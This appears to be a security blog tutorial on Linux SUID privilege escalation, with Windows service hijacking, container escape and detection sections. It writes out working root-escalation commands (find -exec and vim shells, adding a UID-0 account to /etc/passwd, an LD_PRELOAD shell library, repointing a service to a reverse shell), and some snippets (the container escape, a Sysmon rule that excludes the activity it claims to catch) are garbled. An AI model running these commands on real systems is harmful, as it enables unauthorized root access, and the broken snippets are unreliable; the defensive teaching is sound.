Listen to this Post
Introduction:
Privilege escalation remains one of the most critical phases in any penetration testing engagement, where attackers move from low-privileged user to full system compromise. Understanding how misconfigured SUID (Set owner User ID) binaries can be abused is essential for both red teams hunting vulnerabilities and blue teams hardening Linux environments.
Learning Objectives:
- Identify and enumerate SUID binaries on Linux systems using command-line tools.
- Exploit common SUID misconfigurations to gain root-level access.
- Implement mitigation strategies and monitoring to prevent SUID privilege escalation.
You Should Know:
- Enumerating SUID Binaries: The First Step to Root
Start by understanding what SUID binaries exist on the target system. When a binary has the SUID bit set (permission `rws` instead of rwx), it runs with the file owner’s privileges – typically root. Attackers hunt for these to execute commands with elevated rights.
Step‑by‑step guide to enumerate SUID binaries:
On Linux, use the `find` command to locate all SUID-enabled files:
Find SUID binaries (owner executes as file owner)
find / -perm -4000 -type f 2>/dev/null
More detailed enumeration with ls
find / -perm -4000 -exec ls -la {} \; 2>/dev/null
For Windows (analogous concept - look for services or scheduled tasks with high integrity)
icacls C:\ /find /t /grant S-1-5-32-544:F 2>$null
What this does: The `-perm -4000` flag searches for files with the SUID bit set (octal 4000). Redirecting `2>/dev/null` hides permission errors. Once you have the list, look for unusual or rarely-used binaries that could be exploited, such as find, vim, bash, nano, cp, mv, or custom scripts.
Pro tip: Use `linpeas` or `pspy` for automated enumeration during real pentests, but manual `find` is quieter and often sufficient.
2. Exploiting Common SUID Binaries – Practical Walkthrough
Many standard Linux binaries, when left with SUID root, offer direct privilege escalation. Below are verified exploitation methods with commands.
Step‑by‑step guide for three classic SUID exploits:
A) SUID `find` command – The `-exec` option executes arbitrary commands as root.
If /usr/bin/find has SUID (rwsr-xr-x) find / -name "anything" -exec /bin/bash -p \; 2>/dev/null The -p flag preserves root privileges in bash
B) SUID `vim` or `nano` – Both can spawn a shell.
For vim vim -c ':!/bin/bash' For nano (less common but possible) nano -s /bin/bash Then type Ctrl+T (execute command) and run /bin/bash
C) SUID `cp` or `mv` – Overwrite system files like `/etc/passwd` or /etc/sudoers.
Create a new hashed password (replace 'x' with hash) openssl passwd -1 -salt hacker password123 Then copy a modified /etc/passwd (works if cp is SUID root) cp /etc/passwd /tmp/passwd.bak echo "root2:$1$hacker$abc123:0:0:root:/root:/bin/bash" >> /tmp/passwd cp /tmp/passwd /etc/passwd Now su to root2
Mitigation: Regularly audit SUID binaries using `find / -perm -4000 -type f` and remove unnecessary bits with chmod u-s /path/to/binary. Use `sudo` instead of SUID whenever possible.
3. Advanced Technique: LD_PRELOAD and Shared Object Injection
If no obvious SUID binaries exist, check environment variables. Some SUID binaries allow `LD_PRELOAD` injection (depends on glibc hardening).
Step‑by‑step guide to test and exploit:
Create a malicious shared object that spawns a shell.
On attacker machine, compile this C code (preload.c)
cat << 'EOF' > preload.c
include <stdio.h>
include <sys/types.h>
include <unistd.h>
void _init() {
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc -fPIC -shared -o preload.so preload.c -nostartfiles
Upload to target, then run any SUID binary while setting LD_PRELOAD
export LD_PRELOAD=./preload.so
./some_suid_binary This will execute /bin/bash as root
Note: Modern Linux distributions restrict `LD_PRELOAD` on SUID binaries (e.g., glibc ignores it). However, older systems (RHEL 5/6, Ubuntu <12.04) are vulnerable. Use `readelf -l /bin/suid_binary | grep RPATH` to check if runtime linking is misconfigured.
- Windows Analogue: Service Binary Hijacking with Weak Permissions
While SUID is Linux-specific, Windows has equivalent privilege escalation vectors – notably weak service permissions or unquoted service paths.
Step‑by‑step guide for Windows privilege escalation (as a blue team exercise):
Enumerate services where current user can modify binary path
Get-CimInstance -ClassName Win32_Service | Where-Object { $<em>.StartName -eq 'LocalSystem' } | ForEach-Object {
$path = $</em>.PathName
$perms = (Get-Acl -Path $path -ErrorAction SilentlyContinue).Access
if ($perms.IdentityReference -match "BUILTIN\Users") {
Write-Host "Weak service: $($_.Name) - $path"
}
}
Example exploit: change service binary to reverse shell
sc config VulnerableService binPath= "C:\Users\Public\reverse.exe"
sc start VulnerableService
Mitigation: Set service binary permissions to only SYSTEM and Administrators
icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant "SYSTEM:(F)" "Administrators:(F)"
5. Cloud Hardening: Preventing SUID-Like Flaws in Containers
In containerized environments (Docker, Kubernetes), SUID binaries are often disabled or remapped. However, misconfigured privileged containers allow the same escalation.
Step‑by‑step guide to test and secure containers:
Inside a container, check if SUID works docker run -it --rm ubuntu bash find / -perm -4000 -type f 2>/dev/null If container runs with --privileged, you can even escape Inside container: mkdir /tmp/escape mount --bind /tmp/escape /proc/$$/ns Then from host (if compromised), you can nsenter Secure container runtime: Use seccomp profiles to block mount syscalls Set `securityContext.allowPrivilegeEscalation: false` in Kubernetes
API Security parallel: Never expose debugging endpoints that execute system commands (e.g., /api/exec?cmd=id). Always sanitize input and use non-root users in containers.
6. Detection and Monitoring for Blue Teams
Defenders can detect SUID abuse by monitoring process ancestry and unexpected `execve` calls.
Step‑by‑step guide to set up detection rules:
Linux auditd rule to monitor SUID execution:
Add to /etc/audit/rules.d/suid.rules -a always,exit -F perm=x -F mode=4000 -S execve -k suid_exec Reload auditd auditctl -R /etc/audit/rules.d/suid.rules Check logs ausearch -k suid_exec --raw | aureport -f -i
Windows Sysmon configuration for service hijacking:
<Sysmon> <EventFiltering> <ProcessCreate onmatch="exclude"> <CommandLine condition="begin with">sc config</CommandLine> </ProcessCreate> </EventFiltering> </Sysmon>
What Undercode Say:
- SUID binaries are a double-edged sword – essential for legitimate functionality (e.g.,
passwd,sudo), but every extra SUID binary widens the attack surface. Regular audits using automated tools like `LinPEAS` or manual `find` are non-negotiable. - Defense in depth – Combine file system hardening (remove SUID from
find,vim,nano), mandatory access controls (AppArmor/SELinux), and runtime monitoring (auditd/falco) to stop privilege escalation even if an attacker finds a foothold.
Prediction:
As Linux containers and serverless architectures dominate cloud workloads, traditional SUID-based escalation will decline, but new vectors will emerge – misconfigured eBPF hooks, privileged sidecar containers, and Kubernetes pod security standard bypasses. Expect offensive tools to shift toward abusing `CAP_SETUID` capabilities instead of legacy SUID, requiring defenders to adopt container-aware runtime security solutions like Falco or Tetragon by 2027.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Infosec Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
